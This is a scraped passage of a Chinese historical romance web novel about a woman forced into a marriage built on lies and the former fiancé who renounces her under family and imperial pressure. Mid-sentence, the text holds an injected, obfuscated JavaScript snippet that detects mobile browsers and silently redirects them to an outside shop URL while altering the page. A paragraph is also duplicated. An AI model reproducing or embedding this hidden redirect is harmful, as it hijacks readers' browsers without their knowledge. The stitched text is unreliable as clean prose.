或许,这就是他选择的路。 拉着她一起,坠入这由谎言,鲜血和所谓天意共同编织的、永恒的黑暗里。 至死方休。 原来,从头到尾,都是一场精心设计的骗局! 他不仅囚禁她的身体,还要操控她的情感,用谎言和愧疚,将她塑造成他想要的样子! 容璟看着她崩溃流泪,心中那片冰原仿佛被投入了一块烧红的铁,滋啦作响,剧痛与一种扭曲的快意同时升腾。 他喜欢看姜于归这样,情绪因他而起,痛苦由他赋予,哪怕这痛苦最终会反噬他自己。 “姜于归,我就是要你愧疚,要你痛苦,要你在绝境中只能抓住我。然后,在我们相互折磨,彼此纠缠得最深的时候,再让他回来,让你亲眼看到,我做到了对你的承诺,我让他活着!” 容璟俯身,逼近她,气息拂在她泪湿的脸上,声音压得极低,如同恶魔的诅咒。 “你看,现在他回来了,看到了你嫁给我,听到了陛下的祝福。你们之间,隔着我的婚礼,隔着圣旨,隔着君臣纲常......永远不可能了。 姜于归,你死了这条心吧。从你踏进荣国公府那一刻起,你的路,就只剩一条——在我身边,恨着我,怕着我,也......只能想着我。 别忘了,你还发过的誓!” 发的誓?姜于归脑中瞬间想起当初容璟要求的誓言。 她若背弃容璟,转而寻找慕容林晏,便叫慕容林晏受尽世间极刑,功败垂成,身首异处,死无全尸,永世......不得超生...... 容璟的话和姜于归曾经发过的誓言,此刻像一把把淬毒的匕首,将她已经残破不堪的心,彻底捅穿,搅碎。 姜于归望着他近在咫尺的眼睛,那里面翻涌着偏执的占有,扭曲的情感,以及深不见底的黑暗。 罗网早已张开,而她这只雀鸟,扑腾了这么久,流了血,折了翼,甚至“死”过一次,最终才发现,天空是假的,森林是假的,连那根看似救命的荆棘藤蔓,也是猎手手中的绳索。 而唯一真实存在的,是另一只同样被命运捉弄,却活生生归来的鸟儿,如今也只能隔着这张血色的网,绝望相望。 姜于归缓缓抬起眼,隔着朦胧泪光,死死盯住容璟近在咫尺的脸。 她看着容璟眼中那片偏执到扭曲的黑暗,看着他嘴角那抹宣告胜利般残忍的弧度,忽然极轻的摇了摇头,仿佛终于认清了某种不可理喻的存在。 “容璟......” 姜于归开口,声音嘶哑得像砂纸磨过朽木,带着一种彻骨的疲惫与绝望:“你这个疯子。” 她极轻地,叫他的名字,声音里没有情绪,只有一片虚无的荒芜,“我会留在你身边。如你所愿。” 她顿了顿,再睁开眼时,里面已是一片彻底的,心死的平静。 “但从此以后,站在你身边的,只是一具名叫姜于归的空壳。你得到的,也永远只是这个。” 容璟扣着她下巴的手,几不可察地,微微一颤。 他看着姜于归眼中那片万籁俱寂的灰败,看着那里面再也映不出他丝毫的影子,胸口那处尖锐的刺痛,再次毫无征兆地袭来,比以往任何一次都更清晰,更猛烈。 疯子...... 这两个字像一根极细的针,猝然刺入容璟耳膜,扎进他心底那片早已混乱不堪的冰原。 疯子? 是,他或许真的是。 从什么时候开始的? 是从发现她会为别的男人流泪开始? 是从她第一次试图逃离他掌心开始? 还是更早,早在那个蒙住她眼睛的聆音阁,早在意识到这世上竟有这样一个鲜活坚韧,能牵动他所有情绪的存在开始? 他知道自己是疯的。疯到不惜一切代价也要留下她,疯到用谎言编织囚笼,疯到用他人的性命做筹码,疯到连“死”都不能让她离开,甚至还要用一场冥婚,一场活人的婚礼,将她永远镌刻在自己的名分之下。 他也知道这样只会让她痛苦,让她恨他,让她变成此刻这具没有灵魂的空壳。 可那又怎样? 另一种更疯狂,更偏执的声音在他脑海中嘶吼。 放手?看着她走向别人?看着她可能对着另一个男人露出真心的笑容?看着她彻底消失在他的生命里? 不!绝不! 如果爱一定要用正常的方式表达,如果爱意味着成全和放手,那他宁愿不要这种爱。 他的爱,就是占有,是掌控,是不惜一切代价将她留在身边。 哪怕她恨他,怕他,视他为仇寇,哪怕她只剩下一具空壳,只要这具空壳还在他触手可及的地方,冠着他的姓氏,属于他的领地,那就够了。 痛苦?那就一起痛苦好了。 反正他从出生开始,就没学会过如何正常地爱一个人。 他学会的,只有算计,掠夺和绝不放手。 “疯子......” 容璟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148208|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低低地重复着这两个字,嘴角那抹残忍的弧度反而加深了,眼底的黑暗却翻涌得更加剧烈,混杂着一丝连他自己都未曾察觉的,近乎自毁的疯狂。 “是,我是疯子。” 他扣着她下巴的手微微用力,迫使她更清晰地看到自己眼中那片扭曲的执着。 “所以,你最好记清楚,疯子是不会讲道理的,也不会心软。你既然落在了疯子手里,就别想用什么道理,眼泪或者......空壳来吓退我。空壳也好,行尸走肉也罢,只要你还喘着气,还顶着世子夫人的身份,你就是我的。这辈子是,下辈子......如果我还能找到你,那也是。” 容璟嘶哑的声音里,没有半分动摇,只有一种令人骨髓发寒的,玉石俱焚般的笃定。 姜于归望着他,眼中最后一点微弱的光芒,终于在他这番近乎癫狂的宣言中,彻底熄灭了。 他看着姜于归眼中那片万籁俱寂的灰败,看着那里面再也映不出他丝毫的影子,胸口那处尖锐的刺痛,再次毫无征兆地袭来,比以往任何一次都更清晰,更猛烈。 他得到了。 用最残酷的方式,将她彻底圈禁,斩断所有退路。 可为什么......心口会这么疼?仿佛有什么重要的东西,在他终于牢牢握紧的瞬间,从他指缝里,彻底流失了,化为了虚无的尘埃。 他猛地将她搂进怀里,手臂收紧,力道大得几乎要勒断她的骨头。 他将脸埋进她颈间,嗅着她身上淡淡的,属于新娘的脂粉香气,和更深处的,那种冰冷的绝望气息。 他在姜于归耳边,嘶哑地,固执地低语,不知是说给她听,还是说给自己听。 “空壳......也是我的。” 红烛泪尽,晨光熹微。 一场盛大而诡异的婚礼,终于落下帷幕。 而这场以爱为名,实则是无尽占有与操控的囚禁,才刚刚进入最漫长,也最绝望的篇章。 屋外,盛京的初雪,悄无声息地落了下来,覆盖了朱门绮户,也覆盖了昨夜所有的喧嚣,眼泪与算计。 一片素白,掩尽繁华。 初冬的盛京,雪落了又融,只在背阴的屋脊瓦楞上积着薄薄一层,像尚未愈合的旧疮上覆着的冷霜。 慕容府的书房内,炭火毕剥,却驱不散一股自骨髓里渗出的寒意。 慕容琛他已换下戎装,穿着一身半旧的靛青直裰,背脊挺得笔直,坐在窗边的扶手椅里,目光却空茫茫地落在窗外一株落尽叶子的老梅枝桠上。 他维持这个姿势,已有小半个时辰。 自那场惊心动魄的婚礼归来,自那日皇帝含笑说出“义结金兰,君子之交”八字,自他亲眼看着那抹刺目的红,被容璟抱着消失在回廊深处,某种支撑了他三年生死搏杀的东西,便在他心底悄然崩裂,碎成齑粉。 起初是震骇,是不敢置信。 姜于归......嫁给了容璟? 然后,便是无数细节翻涌上来,冰冷地拼凑出一个被精心掩埋的真相。 容璟当初在天牢外,神色凝重地对他说的那番话,犹在耳边:“姜姑娘她......怕是有了旁的想头......” 哪怕是亲眼见到姜于归在画舫之上弹奏琵琶,那时他心如刀绞,可事后却仍存一丝侥幸。 在离京前夜,将那一封写满未言之语,告知假死真相,恳求她等待的信,郑重交到容璟手中:“潜玉,此信......务必亲手交予于归。若她......若她真的心意已变,也请让她知晓,我并非负她,实有不得已。” 容璟接过信时,眼神深沉,拍了拍他的肩:“我明白。必不辱命。” 后来北境烽火连天,生死一线间,他偶尔想起,心中刺痛,却也渐渐接受了她已另觅良枝的现实,只将那份年少情深埋入冻土,用鲜血与功勋来麻痹那处空缺。 可如今...... 她成了容璟的妻子。 皇帝亲口将他和她定为兄妹。 而容璟,他视若手足,托付性命与书信的至交,从始至终,都知道真相。 知道他还活着,知道那封信,知道姜于归从未变心...... 却选择了一条最残忍的路——隐瞒,误导,然后,取而代之。 “嗬......” 一声极低极哑的,仿佛受伤野兽般的呜咽,从林晏喉间溢出。 他猛地闭上眼,手指死死抠进坚硬的紫檀木扶手,指甲断裂的细微声响,被炭火的噼啪声掩盖。 不是愤怒,是一种更深,更钝的,仿佛五脏六腑都被掏空后再塞入冰碴的痛。 信任被碾碎,情谊被践踏,连最后一点关于过去的温暖念想,都成了淬毒的讽刺。 书房门被轻轻推开。 慕容老大人,林晏的祖父,穿着一身深褐色家常棉袍,须发愈显银白,脸上是被岁月和接连打击刻下的深深沟壑。 他手中端着一盏刚沏的热茶,步履有些蹒跚地走进来,身后跟着同样神色忧戚的老夫人。 老大人将茶盏轻轻放在林晏手边的几上,目光扫过他惨白如纸的脸和紧握到发白的指节,浑浊的老眼中闪过一丝了然的痛楚,和更深重的忧虑。 “林晏......” 老大人唤着林晏的字,声音苍老而疲惫:“事情......祖父都听说了。” 林晏缓缓睁开眼,眼底布满血丝,那里面翻涌着痛苦,恨意,还有一种近乎毁灭的疯狂。 他看着祖父,嘴唇微微颤抖,声音干涩得如同砂砾摩擦:“祖父......孙儿......被诓骗得好苦。” 老大人重重叹了口气,在他对面的椅子上慢慢坐下,脊背却无法完全靠实,仿佛也被无形的重担压着。 老大人问得谨慎,连称呼都再三斟酌:“今日在宫里,陛下单独留你说话......可是又提及容世子与姜......与容少夫人之事?” 林晏扯了扯嘴角,那弧度比哭还难看:“陛下......陛下夸我忠勇,念我慕容家蒙冤受苦,赐下厚赏。又说......潜玉与我皆是朝廷栋梁,昔日误会既已澄清,又有兄妹之名在前,更应摒弃前嫌,同心戮力,为君分忧。” 可他顿了顿,眼中戾气骤增:“摒弃前嫌?祖父,他容潜玉设计让我死,截我书信,欺我挚爱,夺我......夺我所珍视的一切!如今陛下轻飘飘一句兄妹,便要我将这血淋淋的刀子吞下去,还要笑着与他称兄道弟?孙儿......办不到!” 最后三个字,几乎是低吼出来,带着压抑到极致的震颤。 老夫人听得眼圈发红,别过脸去拭泪。 老大人却神色未动,只是那握着茶杯的手,微微颤抖,茶水漾出几滴,落在他的手背上,他也恍若未觉。 书房内陷入死寂,只有炭火不甘寂寞地燃烧着。 良久,老大人缓缓放下茶杯,抬起眼,目光如古井般沉静,却带着一种洞悉世情的悲凉,直直看向林晏。 “林晏,祖父知道,你心里那把刀,扎得深,拔出来连着筋,带着肉。” 老大人的声音低沉下来,带着一种追忆的慨叹。 “说起姜姑娘......不,如今该称容世子夫人了。那年你下狱,慕容家顷刻间树倒猢狲散,往日那些巴结奉承的,避之唯恐不及。是你祖母急火攻心,一病不起,家里连请郎中的银子都快凑不齐......” 他顿了顿,眼中浮现一丝真切的暖意与感激。 “是那位姜姑娘,一个无亲无故,自己也寄人篱下的孤女,听到消息,竟几次三番冒着风险,悄悄来探望。她话不多,就安静地陪着你这哭坏了眼睛的祖母说说话,帮忙煎药,收拾屋子。有一回,还偷偷塞给我一个旧荷包,里面是她攒下的一点散碎银子,说是......给祖母抓药。” 老大人说着,声音微微发哽:“那时我就想,这是个心善仁义的好女子。你祖母后来常念叨,说那孩子眼神干净,做事踏实,不因我们落难而轻视,也不图什么回报。可惜啊......你们终究是有缘无分。” 这突如其来的温情回忆,像一把更温柔的刀子,猝不及防地刺入林晏早已血肉模糊的心脏。 他仿佛能看见,在那个寒冷绝望的冬天,那个纤细的身影是如何小心翼翼地穿过流言与冷眼,给这座濒临崩溃的老宅带来一丝微弱的暖意。 可这暖意,如今回想,却让他痛得更深,更尖锐。 老大人话锋一转,语气陡然变得严厉而痛心:“正因她是个好女子,林晏,你才更要清醒些,更要为她着想几分!” 他身子前倾,目光灼灼地盯着林晏:“你以为你如今的怨愤,你的不甘,你那想要夺回来的念头,是在为她好?是在补偿她?大错特错!” 说到此处,老大人喘息都粗重了几分。 “她如今是什么身份?是容世子明媒正娶,陛下亲口祝福的世子夫人!你若因旧情对她再有半分纠缠,世人会如何看她?容璟会如何对她?陛下又会如何看她?一个引得兄弟反目,让将军念念不忘的祸水?到那时,你不仅害了慕容家,更是亲手将她推到风口浪尖,让她本就艰难的处境,雪上加霜!” 慕容林晏张了张嘴想说什么,最后却一个字也没说出来。 “你恨容璟诓骗她,强娶她,可你想过没有,若没有容璟后来的庇护,以她当初那般孤女身份,又卷入我们慕容家的祸事,可能早就在这吃人的盛京里,被啃得骨头都不剩了! 是,容世子手段不光彩,可结果呢?她现在是国公府世子夫人,将来或许是一品诰命!你如今要去争,是要将她从这既定的,看似安稳的位置上拉下来,让她重新跌回泥泞,甚至坠入更可怕的深渊吗?!” 老大人越说越激动,猛地一拍茶几,震得茶盏叮当乱响。 “你以为陛下今日为何留你说话?那是提醒,是警告!是告诉你,君臣纲常大于天,兄弟名分已定,儿女私情必须让路!你若执迷不悟,害的不只是你自己,不只是慕容家,更是那个你口口声声说在乎的女子!” 林晏被祖父这番连珠炮似的质问砸得头晕目眩,脸色由白转青,又由青转灰。 他恨容璟,恨他欺骗,夺爱。 可祖父的话,却像一面冰冷的铜镜,照出了他潜意识里拒绝深思的另一面。 他所谓的夺回,对如今的姜于归而言,究竟是救赎,还是另一场更残忍的拖累与毁灭? 林晏的声音嘶哑破碎,带着濒死般的挣扎:“祖父......难道......难道就这样算了?孙儿......孙儿不甘心啊......” “你不甘心?!” 老大人忽然提高声音,苍老的嗓音带着不容置疑的威严,那双看透官海沉浮数十载的眼睛,此刻锐利如刀,刮过林晏每一寸神情。 “林晏,你可是觉得......不甘?不忿?甚至......想将那容璟除之而后快,再将姜氏......重新夺回来?” 林晏瞳孔骤缩,猛地抬眼看向祖父。 他没想到祖父会如此直白地说破他内心最隐秘,最疯狂,连自己都不敢深想的念头。 他声音发紧:“祖父......” “回答我!” 那不容置疑的威严,和此刻锐利如刀的眼神,狠狠地刮过林晏脸上的神色。 林晏胸中那股郁结的悲愤与恨意,被祖父这一声厉喝激得翻滚沸腾。 他霍然起身,胸膛剧烈起伏,眼中是豁出去的决绝与痛苦。 “是!孙儿不甘!不忿!恨不能——” 他声音嘶哑,每个字都像从牙缝里挤出来,浸着血沫:“恨不能立刻除了那虚伪阴毒的小人!至于于归......她本就是我的!是容璟用卑劣手段强夺了去!什么婚事,什么兄妹,那是陛下被他蒙蔽!只要容璟不在了,只要......” “只要什么?!” 老大人猛地打断他,也颤巍巍地站起身来,因为激动,身形晃了一下,老夫人慌忙上前扶住。 老大人却推开老伴的手,向前一步,死死盯着林晏,那双苍老的眼睛里,此刻燃烧着一种近乎绝望的火焰。 “只要容世子不在了,你就能与姜氏重续前缘?你就能无视那场满朝文武见证,陛下金口玉言赐下的婚礼?你就能将她从荣国公世子夫人的位置上拉下来,让她顶着兄妹之名,再嫁给你慕容琛?!” 老大人的声音一句比一句高,一句比一句尖锐,像一把把淬了冰的凿子,狠狠凿向林晏摇摇欲坠的理智。 “林晏!我的孙儿!你睁开眼睛看看!看看这是什么地方!这是盛京!是皇城根下!陛下今日为何要当众定下那兄妹名分?那是为了全他仁君之名,堵天下悠悠之口,更是为了——在你和容璟之间,划下一道天堑!” 老大人喘着粗气,胸口剧烈起伏,脸上泛起不正常的潮红。 “你以为陛下不知道容璟那点心思?不知道你们三人之间的纠葛?他太知道了!所以他才会用最冠冕堂皇的方式,把一切可能都掐死在源头! 兄妹!哈哈,好一个兄妹!这是比任何律法宗族都更牢固的枷锁!是陛下亲手焊死的囚笼!你破得开吗?你敢破吗?!” 林晏被祖父这番激烈的言辞震得后退半步,脸色惨白如鬼。 他知道祖父说的是事实,是那日喜堂上他便看清的,冰冷刺骨的现实。 可被这样血淋淋地撕开,依旧痛得他神魂俱颤。 “可是......祖父......” 林晏的声音带上了哽咽,那是濒临崩溃的绝望:“孙儿......孙儿无法眼睁睁看着......看着她就在那里,却隔着这样的身份,这样的距离......孙儿做不到心如止水,与仇人把酒言欢!孙儿......难受啊......” 看着孙儿眼中那深切的,几乎要将他淹没的痛苦,老大人眼中锐利的光芒渐渐被一种深沉的,近乎心碎的悲哀所取代。 他忽然不再说话,只是深深地,深深地看了林晏一眼。 然后,在老夫人和林晏惊骇的目光中,这位历经三朝,曾官至二品,即便家族蒙冤入狱也未曾折腰的慕容老大人,竟然颤巍巍地,对着自己年仅二十余岁的孙子,缓缓地,极其沉重地——屈下了膝盖! “祖父——!!!” 林晏吓得魂飞魄散,发出一声凄厉到变调的嘶喊,猛地跪着扑上前,想要搀扶。 老夫人也惊呼一声,泪如雨下,想去拉老伴。 可老大人却仿佛用尽了全身的力气,固执地跪在了冰冷坚硬的金砖地面上。 他抬起头,苍老的面容上纵横的皱纹此刻深刻如刀刻,那双看尽世事的眼睛里,此刻蓄满了浑浊的泪水,却倔强地不肯落下。 他就这样跪着,仰头看着僵立当场,面无人色的林晏,声音不再高昂,反而低沉沙哑,却字字如同浸透了血泪的秤砣,砸在林晏早已不堪重负的心上。 “林晏......你让祖父跪完......听完这番话。” 老大人深吸一口气,每一个字都说得极其艰难,却又极其清晰。 “祖父知道,你心里苦,比黄莲还苦,比刀割还疼。你恨容世子,情理之中。你想争,想夺,甚至想......毁了他,祖父都明白。年轻人,血是热的,情是重的,受此大辱,若没有这般念头,反而不是我慕容家的儿郎。” 他顿了顿,滚烫的泪终于从眼角滑落,没入深刻的皱纹里。 “可是林晏啊......你睁开眼睛,再看看祖父,看看你祖母,看看这好不容易才重新立起来的慕容府的门楣!” 老大人的声音开始颤抖,带着一种深入骨髓的恳求与恐惧。 “我们慕容家,就剩你这一根独苗了!当初你下狱,罪名是贪赃枉法,勾结逆党!那是要满门抄斩的罪啊!是容世子......不错,就是那个你现在恨之入骨的容璟,向陛下献了这假死脱身,暗中查案之计! 陛下为何允了?一是确实需要一把快刀去斩薛家的乱麻,二是......也是容璟以自身前程担保,更以若泄密,则陛下可诛所有知情人以绝后患为条件,换来的!他是在赌,祖父知道!他赌赢了,你活了,我们慕容家也活了! 林晏,没有他那条计,你早就成了刑场上一具无头尸骨!慕容家早就被抄家灭族,我与你祖母,此刻不知在哪个乱葬岗里躺着,连张草席都没有! 是,他骗了你,他夺了你心爱之人,他卑劣,他可恨!祖父也恨!恨得咬牙切齿!可是林晏......这世上的账,不是只有情爱这一本啊!” 老大人泪水长流,声音哽咽破碎。 “还有君臣之账!陛下金口玉言,定下婚事,定下名分,那是圣旨!是皇权!你今日若因私情怨愤,对容璟,对这场婚事有任何异动,那就是抗旨!是藐视君上!是给了陛下,给了所有虎视眈眈的人,一个将慕容家再次连根拔起的借口! 你刚才说什么?除了容璟,再和姜氏在一起?” 老大人惨然一笑,那笑容比哭还难看。 “且不说你能不能动得了如今圣眷正隆,手握重权的容世子,就算你侥幸成了......然后呢?陛下会如何想?朝野会如何看?一个连兄弟妻子,皇帝赐婚都敢觊觎抢夺的臣子,谁敢用?谁能容?! 到那时,莫说姜氏你得不到,慕容家上下几十口,包括你年迈的祖父母,还有那些依附我们的族人,仆役......有一个算一个,全都得给你这深情——陪葬!” 最后两个字,老大人几乎是用尽力气嘶喊出来,随即猛地咳嗽起来,咳得撕心裂肺,弯下了腰。 老夫人早已哭倒在地,抱着老大人的腿,无声哀泣。 林晏僵直跪着,如同被万年玄冰封冻。 祖父的每一句话,都像一把烧红的烙铁,狠狠地,反复地烫在他的心脏上。 起初是尖锐的剧痛,然后那痛楚蔓延开来,变得麻木,变得冰冷,最后只剩下一种空荡荡的,仿佛连灵魂都被掏走的虚无。 忠?孝? 君恩?家仇?私情? 这些沉重无比的字眼,此刻化作了最锋利的刀刃,从四面八方将他钉在原地,寸寸凌迟。 是啊......他能活着,慕容家能保全,甚至能有今日这将军虚名,追根溯源,竟都要“感谢”容璟那条计策。 多么讽刺!多么荒谬! 他恨之入骨的人,偏偏是他家族存续的恩人? 他要争要抢的人,偏偏被皇权亲手焊死在了兄妹与人妻的双重囚笼里? 他要报复要毁灭的念头,偏偏会拉着整个慕容家,坠入万劫不复的深渊? “嗬......嗬......” 林晏喉咙里发出困兽般的嗬嗬声,他望着咳嗽流泪的祖父,望着悲痛欲绝的祖母,望着这间刚刚恢复些许生机,却仿佛瞬间又被更浓重阴影笼罩的书房...... 一股腥甜猛地涌上喉头。 他死死咬住牙关,将那口血硬生生咽了回去,口腔里弥漫开浓烈的铁锈味。 原来......这就是代价。 活着回来的代价,知晓真相的代价,甚至......曾经拥有过那份真挚情感的代价。 不是痛快的死,而是清醒地,眼睁睁地看着自己珍视的一切,被权力,被算计,被所谓的大局,一寸寸碾碎,扭曲,钉死在无法挣脱的十字架上。 而他,连愤怒的资格,都要掂量着,是否会压垮身后那些颤巍巍的身影。 慕容林晏仿佛听到了自己体内某种东西,彻底碎裂的声音。 他伸出手,搀扶住咳得直不起腰的祖父,手臂僵硬得像两块木头。 他的声音嘶哑得几乎无法辨认,每一个字都耗尽了他全部的气力。 “祖父......祖母......请起。” 他顿了顿,闭上眼睛,滚烫的液体终于无法抑制地,从紧闭的眼缝中汹涌而出,划过他冰冷的脸颊。 再睁开时,那双曾经清澈明亮,如今布满血丝的眼眸里,翻涌的痛苦,恨意,疯狂,被一种更深沉,更绝望的灰败死寂,一点点覆盖,吞噬。 他听见自己的声音,飘忽得如同来自很远的虚空,却又清晰得令人心胆俱寒。 “孙儿......明白了。 从此......再无慕容琛与姜于归的过往。 只有......慕容将军,与容世子夫人。 以及......陛下金口玉言的——兄妹。” 少年将军这一跪,跪碎了年少时捧出的一腔赤诚真心,也跪定了盛京之中从此只论君臣,不谈私情的冰冷格局。 111. 第 111 章 慕容府书房内的炭火燃了一夜,终究在黎明前化作冰冷的灰白余烬。 慕容琛维持着搀扶祖父的姿势,直至老人因情绪激荡而昏沉睡去。老夫人红着眼眶,让仆役将老大人扶回内室。书房内只余他一人。 晨光透过窗纸,落在慕容林晏挺直的背脊上,却照不进那双已然死寂的眼眸。 他缓缓站起身,走至窗前,望着庭院中那株老梅嶙峋的枝桠。 “慕容将军......” 他低声重复着这个新身份,嘴角扯出一个比哭还难看的弧度。 从今往后,盛京城中再无为了心中女子敢与权贵争锋的慕容琛,只有谨守君臣本分,克己复礼的慕容将军。 也好。 他将眼底最后一点温软彻底碾碎,转身时,脸上已只剩下属于武将的冷硬与沉寂。 荣国公府,汀兰水榭。 自那场荒诞婚礼后,这里的气氛便陷入一种诡异的平静。 没有新婚燕尔的旖旎,亦无囚徒与看守的剑拔弩张,只有一种深不见底的,近乎死寂的疏离。 姜于归醒得很早。 她没有并没有展现出心碎的女子般以泪洗面或卧床不起。相反,她起身后,自己动手梳洗,动作不疾不徐,眉眼间甚至带着一种过分的平静。 她走到窗边的书案前,这是她前几日让碧荷从库房找出来的旧物。 案上摊着几本医书药膳谱,从容璟的书房里挑拣出来的。 容璟对此未置一词,只让长青将书送来。 姜于归翻开一页,她看得很专注,容璟走进来时,看到的便是这样一幅画面。 晨光透过茜纱窗,在她侧脸镀上一层柔和的淡金,她低垂着眼睫,长睫在眼下投出浅浅的阴影,鼻梁秀挺,唇色淡粉。 若不是那双眼睛里全然没有温度,这该是一幅极美的仕女晨读图。 他在门口驻足片刻。 姜于归仿佛没有察觉他的到来,依旧专注地看着书页,甚至拿起一旁的毛笔,在纸上记下几味药材的分量。 她的字迹清秀工整,却带着一种拒人千里的冷淡。 容璟缓步走近,在她身侧停下,目光扫过她记下的内容。 他开口,声音是一贯的平稳温润:“茯苓,山药,莲子......怎么想起研究这些?” 姜于归笔尖未停,直到写完最后一个字,才搁下笔,抬眼看向他。 那眼神平静无波,像在看一件家具,一株花草,唯独不像在看自己的夫君。 姜于归的声音同样平淡,听不出喜怒:“闲着无事,找些事情做,世子若觉得不妥,妾身便不看了。” 容璟的目光在她脸上停留片刻,忽而极轻地笑了一下。 他道:“并无不妥。你身子素来弱,学些药膳调理也好。库房里还有些滋补的药材,需要什么,让碧荷去取便是。” 说罢,他不再多言,转身走向另一侧的书架,取了一卷舆图,在窗边的榻上坐下细看。 室内重归寂静。 姜于归重新低头看书,偶尔提笔记下些什么。 容璟则专注地看着舆图,指尖偶尔在地名上轻点。两人之间隔着数步距离,互不打扰,也互不交谈,仿佛同一屋檐下的两个陌生人。 这样的相处模式,自婚礼后便已确立。 姜于归不再试图逃离,也不再像从前那般或恐惧或怨恨地面对容璟。她选择了一种更彻底的疏离——将容璟当作空气。 她在水榭内开辟了自己的小天地:研究药膳,临摹字帖,甚至让碧荷找来些布料,学着裁剪简单的衣物。她做得认真,却从不是为了讨好谁。 而她研究了膳食或者药膳端上桌,碧荷还有些忐忑地看向容璟,姜于归却自顾自盛了一碗,用小勺慢慢舀着吃。 她吃得专注,仿佛那是世间难得的美味。 容璟看了她一眼,什么也没说,只吩咐碧荷:“夫人若需要什么食材,让厨房每日多备一份。” 他似乎乐见其成。 乐见她不再沉溺于过去的痛苦,乐见她找些事情打发时间,哪怕她做的这一切都与他无关。 他像在欣赏一件逐渐恢复生气的藏品,哪怕那生气并非因他而起。 然而,盛京的风,从来不会因某个人的平静而停歇。 皇帝的手笔,显然不止于婚礼上那一句兄妹。 不过数日,京中便悄然流传起新的风声。起初只是某些茶楼酒肆的窃窃私语,渐渐便成了某些小圈子里的心照不宣。 “什么兄妹?不过是掩人耳目罢了......” “听说慕容将军当年下狱,旁人都避之不及,那位可是冒着风险去探望慕容家二老的,若只是寻常交情,何至于此?” “容世子也是可怜,娶了个心里装着别人的......” “可不是?我听说啊,大婚那日,慕容将军看新妇的眼神,啧啧,哪像是看义妹......” 流言蜚语,如同冬日里悄无声息蔓延的寒气,渗透进盛京的每一个角落。 容璟在刑部衙门听到属官隐晦的禀报时,面上没有丝毫波澜。他放下手中的卷宗,指尖在紫檀木案几上轻轻敲击了两下。 他声音平淡,好似听说的事情与自己无关:“知道了,下去吧。” 属官躬身退下,心中却暗暗纳罕,世子爷这反应,未免太过平静了些。 容璟独自坐在案后,目光落在窗外灰蒙蒙的天空上。 他知道这是谁的手笔,那位高高在上的帝王,终究还是嫌他与慕容琛之间的裂痕不够深,不够显眼,非要再添一把火,让这不合烧得人尽皆知。 也好。 他唇角几不可察地弯了一下,那笑意未达眼底,反而透着一股冰冷的算计。 腊月十五,盛京落了今冬第一场大雪。 姜于归一早便吩咐碧荷备车,她要去城西的慈安堂——那是她近日新发现的去处,一处收留孤寡老人和弃婴的善堂。 她在那里帮忙分药,施粥,虽做不了太多,但至少能让自己有事可做,不必整日困在水榭里对着一室冰冷。 容璟对此未加阻拦,只让长青多派了几名护卫跟着。 马车驶出荣国公府,碾过积雪的街道,发出吱呀的声响。姜于归靠在车厢内,望着窗外飞速掠过的雪景,神色平静。 行至朱雀大街中段时,前方忽然传来一阵喧哗。马车猛地一顿,停了下来。 “怎么回事?”碧荷探头问车夫。 车夫的声音带着几分惶恐:“回姑娘,是......是车轮陷进雪坑里了,一时半会儿怕是出不来。” 姜于归掀开车帘望去,果然,右后侧车轮深深陷进了被积雪掩盖的坑洼中,几名护卫正下马试图推车,但那坑颇深,马车纹丝不动。 雪越下越大,街道上的行人渐渐稀少。 就在这时,另一队人马从对面行来,为首之人骑着一匹高大的黑马,身着玄色大氅,肩头已落了一层薄雪,他身后跟着数名亲卫,个个神情肃穆。 是慕容琛。 姜于归在看清那张脸的瞬间,心脏还是不受控制地狠狠揪了一下,她立刻垂下眼睫,强迫自己恢复平静。 慕容琛也看到了这边的情形。他勒住马,目光在荣国公府的马车上停留一瞬,随即移开,看向那陷在雪坑里的车轮。 他沉默片刻,终究还是翻身下马,对身后的亲卫吩咐道:“去帮忙。” 亲卫们应声上前,与容府的护卫一同推车。人多力大,车轮终于缓缓从坑中移出。 雪势渐猛,一时半会儿走不了。车夫检查着车轮,面露难色:“夫人,轮轴怕是有些损伤,得稍作修理,否则路上恐有危险。” 姜于归点了点头,目光扫过街边不远处的凉亭:“我去那边避一避雪,你们修好了叫我。” 碧荷连忙撑起伞,扶着她走向凉亭。 慕容琛站在原地,看着她纤细的背影走向凉亭,脚步几不可察地顿了顿。 他终究还是跟了上去,却停在亭外几步远的地方,没有再靠近。 姜于归在亭中石凳上坐下,碧荷站在她身侧。 雪落无声,亭内亭外一片寂静。 慕容琛背对着她,望着亭外纷扬的大雪,背影挺直却僵硬。良久,他才低声开口,声音被风雪吹得有些模糊:“你......还好吗?” 姜于归沉默了片刻,才道:“多谢将军关心,一切都好。” 这声将军,让慕容琛的背脊几不可察地绷紧了一瞬。他深吸一口气,转过身,目光终于落在她脸上。 那日婚礼,姜于归盖着盖头,他并没有见到姜于归,而上一次见她,已经是三年前,那个时候,她在画舫上弹琵琶...... 慕容林晏见姜于归眼神平静,没有他预想中的痛苦或怨怼,只有一种深不见底的,近乎认命的平静。 这平静,比任何眼泪都更让他心痛。 “于归......” 他下意识唤出这个藏在心底的名字,却又立刻意识到不妥,改口道:“世子容夫人。” 姜于归抬眸看他,唇角极淡地弯了一下,那笑意里没有温度,只有一种看透世事的苍凉。 “慕容将军。” 她缓缓开口,声音清晰而平静:“有些话,我早该同你说清楚。” 慕容琛心头一紧,定定看着她。 “过去的,就让它过去吧。” 她一字一句道,像是在说服他,更像是在说服自己。 “你我之间,有缘无分,强求不得。如今陛下金口玉言,你是我的义兄,我是容璟的妻子,这是无法更改的事实。” 姜于归顿了顿,眼中闪过一丝极快的痛楚,但很快又被平静掩盖。 “总是往回看,只会让自己更痛苦。将军如今前程大好,当珍惜眼下,莫要再为旧事所困。” 慕容琛死死捏着拳,指甲深深掐进掌心。 他想说什么,想告诉她他从未忘记,想问她是否真的甘心......可祖父的话,皇命如山,还有她那句容璟的妻子,像一道道枷锁,将他所有话语死死堵在喉咙里。 慕容林晏最终只是哑声道:“我......明白了。” 